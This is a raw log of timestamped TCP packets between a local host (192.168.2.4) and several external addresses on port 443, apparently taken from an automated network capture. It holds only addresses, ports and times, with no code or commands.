Oct 2, 2024 05:20:20.181833029 CEST	443	49794	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:20.186243057 CEST	443	49793	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:20.186326027 CEST	49793	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:20.186713934 CEST	49793	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:20.186722040 CEST	443	49793	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:20.189080954 CEST	49793	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:20.189085960 CEST	443	49793	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:20.656436920 CEST	443	49794	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:20.656500101 CEST	49794	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:20.657672882 CEST	49794	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:20.657685041 CEST	443	49794	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:20.657886028 CEST	443	49794	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:20.659060955 CEST	49794	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:20.659079075 CEST	49794	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:20.659120083 CEST	443	49794	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:20.894118071 CEST	443	49793	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:20.894138098 CEST	443	49793	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:20.894190073 CEST	49793	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:20.894191980 CEST	443	49793	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:20.894217014 CEST	49793	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:20.894252062 CEST	49793	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:20.894638062 CEST	49793	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:20.894649982 CEST	443	49793	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:20.896079063 CEST	49795	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:20.896120071 CEST	443	49795	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:20.896198034 CEST	49795	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:20.896398067 CEST	49795	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:20.896411896 CEST	443	49795	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:21.124624968 CEST	443	49794	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:21.124720097 CEST	443	49794	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:21.124784946 CEST	49794	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:21.124917030 CEST	49794	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:21.124957085 CEST	443	49794	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:21.124984026 CEST	49794	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:21.125001907 CEST	443	49794	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:21.126646996 CEST	49796	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:21.126694918 CEST	443	49796	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:21.126780033 CEST	49796	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:21.127233982 CEST	49796	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:21.127249956 CEST	443	49796	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:21.549207926 CEST	443	49795	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:21.549263000 CEST	49795	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:21.549655914 CEST	49795	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:21.549665928 CEST	443	49795	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:21.551320076 CEST	49795	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:21.551325083 CEST	443	49795	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:21.780194044 CEST	443	49796	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:21.780296087 CEST	49796	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:21.787547112 CEST	49796	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:21.787573099 CEST	443	49796	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:21.787812948 CEST	443	49796	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:21.790558100 CEST	49796	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:21.831404924 CEST	443	49796	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:22.266513109 CEST	443	49795	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:22.266578913 CEST	443	49795	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:22.266685963 CEST	49795	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:22.266820908 CEST	49795	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:22.266839981 CEST	443	49795	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:22.289684057 CEST	443	49796	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:22.289701939 CEST	443	49796	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:22.289719105 CEST	443	49796	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:22.289769888 CEST	49796	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:22.289803028 CEST	443	49796	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:22.289822102 CEST	49796	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:22.289855003 CEST	49796	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:22.323693037 CEST	49797	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:22.323736906 CEST	443	49797	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:22.323805094 CEST	49797	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:22.323992968 CEST	49797	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:22.324003935 CEST	443	49797	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:22.391040087 CEST	443	49796	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:22.391057968 CEST	443	49796	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:22.391098976 CEST	49796	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:22.391114950 CEST	443	49796	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:22.391144991 CEST	49796	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:22.391165972 CEST	49796	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:22.396436930 CEST	443	49796	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:22.396502018 CEST	443	49796	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:22.396529913 CEST	49796	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:22.396634102 CEST	49796	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:22.396922112 CEST	49796	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:22.396943092 CEST	443	49796	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:22.396981001 CEST	49796	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:22.396987915 CEST	443	49796	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:22.398400068 CEST	49798	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:22.398437023 CEST	443	49798	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:22.398519039 CEST	49798	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:22.398765087 CEST	49798	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:22.398782015 CEST	443	49798	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:22.853643894 CEST	443	49798	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:22.853723049 CEST	49798	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:22.854887009 CEST	49798	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:22.854896069 CEST	443	49798	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:22.855092049 CEST	443	49798	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:22.856055975 CEST	49798	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:22.856085062 CEST	49798	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:22.856123924 CEST	443	49798	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:23.000473976 CEST	443	49797	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:23.000595093 CEST	49797	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:23.000910997 CEST	49797	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:23.000916958 CEST	443	49797	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:23.002521038 CEST	49797	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:23.002526999 CEST	443	49797	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:23.002579927 CEST	49797	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:23.002593040 CEST	443	49797	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:23.290431023 CEST	443	49798	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:23.290563107 CEST	443	49798	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:23.290621042 CEST	49798	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:23.290813923 CEST	49798	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:23.290831089 CEST	443	49798	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:23.290843010 CEST	49798	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:23.290848970 CEST	443	49798	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:23.329462051 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:23.329508066 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:23.329562902 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:23.330451965 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:23.330467939 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:23.671478987 CEST	443	49797	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:23.671555996 CEST	49797	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:23.671571016 CEST	443	49797	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:23.671585083 CEST	443	49797	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:23.671616077 CEST	49797	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:23.671641111 CEST	49797	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:23.672521114 CEST	49797	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:23.672534943 CEST	443	49797	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:23.998234987 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:23.998303890 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:23.998872042 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:23.998883963 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.000663042 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.000669003 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.426585913 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.426616907 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.426634073 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.426655054 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.426696062 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.426706076 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.426755905 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.456923008 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.456940889 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.456983089 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.456996918 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.457015038 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.457037926 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.522274971 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.522293091 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.522377014 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.522387981 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.522430897 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.551312923 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.551332951 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.551405907 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.551418066 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.551464081 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.588463068 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.588478088 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.588546038 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.588553905 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.588597059 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.618359089 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.618375063 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.618438959 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.618447065 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.618493080 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.637423038 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.637438059 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.637501001 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.637507915 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.637550116 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.654334068 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.654349089 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.654403925 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.654416084 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.654464006 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.671314955 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.671329975 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.671395063 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.671401024 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.671444893 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.685539007 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.685555935 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.685596943 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.685604095 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.685627937 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.685652018 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.702332973 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.702347994 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.702410936 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.702418089 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.702456951 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.715503931 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.715519905 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.715578079 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.715584993 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.715626955 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.731854916 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.731873035 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.731980085 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.731990099 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.732028008 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.742250919 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.742271900 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.742362976 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.742369890 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.742412090 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.750538111 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.750555038 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.750619888 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.750626087 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.750665903 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.759886980 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.759911060 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.759963036 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.759968996 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.759991884 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.760016918 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.768681049 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.768698931 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.768752098 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.768776894 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.768816948 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.778075933 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.778091908 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.778157949 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.778166056 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.778208017 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.789552927 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.789573908 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.789639950 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.789648056 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.789694071 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.803802013 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.803817034 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.803884029 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.803889990 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.803930044 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.818311930 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.818329096 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.818381071 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.818387985 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.818428993 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.831414938 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.831430912 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.831479073 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.831485033 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.831523895 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.839646101 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.839664936 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.839700937 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.839706898 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.839729071 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.839750051 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.849571943 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.849586964 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.849658012 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.849664927 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.849703074 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.857105017 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.857119083 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.857167006 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.857172966 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.857212067 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.865268946 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.865284920 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.865354061 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.865360975 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.865401030 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.876343966 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.876363039 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.876441002 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.876447916 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.876486063 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.896533966 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.896549940 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.896624088 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.896630049 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.896668911 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.916719913 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.916733980 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.916786909 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.916794062 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.916831970 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.968884945 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.968904972 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.968946934 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.968955994 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.968966961 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.968996048 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.979804993 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.979820967 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.979856968 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.979863882 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:24.979887009 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:24.979909897 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.002279043 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.002294064 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.002342939 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.002353907 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.002391100 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.012603045 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.012617111 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.012666941 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.012672901 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.012711048 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.022471905 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.022494078 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.022536993 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.022542000 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.022579908 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.037354946 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.037369967 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.037403107 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.037409067 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.037436008 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.037457943 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.043183088 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.043198109 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.043248892 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.043256044 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.043292999 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.050363064 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.050378084 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.050438881 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.050446033 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.050484896 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.066118956 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.066133022 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.066193104 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.066200972 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.066239119 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.073110104 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.073124886 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.073189020 CEST	49799	443	192.168.2.4	49.12.197.9
